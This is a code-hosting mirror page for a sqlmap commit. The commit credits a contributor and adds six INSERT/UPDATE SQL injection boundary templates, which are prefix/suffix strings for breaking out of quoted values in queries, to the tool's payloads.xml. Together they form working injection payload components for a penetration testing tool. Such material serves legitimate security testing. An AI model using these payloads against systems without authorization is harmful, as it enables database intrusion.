sqlmapproject/sqlmap
1
1
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2024-11-22 01:26:42 +03:00
Code Issues Packages Projects Releases Wiki Activity

adding INSERT/UPDATE generic boundaries

Browse Source
This commit is contained in:
Miroslav Stampar 2011-10-28 11:00:09 +00:00
parent 7ce3af68fc
commit 2e5222bfd8
2 changed files with 60 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

3
doc/THANKS
View File

@ -368,6 +368,9 @@ Christopher Patten <cpatten@sunera.com>
Zack Payton <zack.payton@executiveinstruments.com>
for reporting a minor bug
Jaime Penalba <nighterman@painsec.com>
for contributing a patch for INSERT/UPDATE generic boundaries
Travis Phillips <perfect_insanity2004@yahoo.com>
for suggesting a minor enhancement

58
xml/payloads.xml
View File

@ -485,7 +485,63 @@ Formats:
<prefix>" WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix></suffix>
</boundary>
<!-- End of generic boundaries -->
<!-- End of pre-WHERE generic boundaries -->
<!-- INSERT/UPDATE generic boundaries (e.g. "INSERT INTO table VALUES ('$_REQUEST["name"]',...)"-->
<boundary>
<level>5</level>
<clause>1</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>' || (SELECT [RANDNUM1] FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>) || '</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>' || (SELECT [RANDNUM1] WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>) || '</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1</where>
<ptype>1</ptype>
<prefix> + (SELECT [RANDNUM1] FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1</where>
<ptype>1</ptype>
<prefix> + (SELECT [RANDNUM1] WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>' + (SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>) + '</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>' + (SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>) + '</suffix>
</boundary>
<!-- End of INSERT/UPDATE generic boundaries -->
<!-- Boolean-based blind tests - WHERE/HAVING clause -->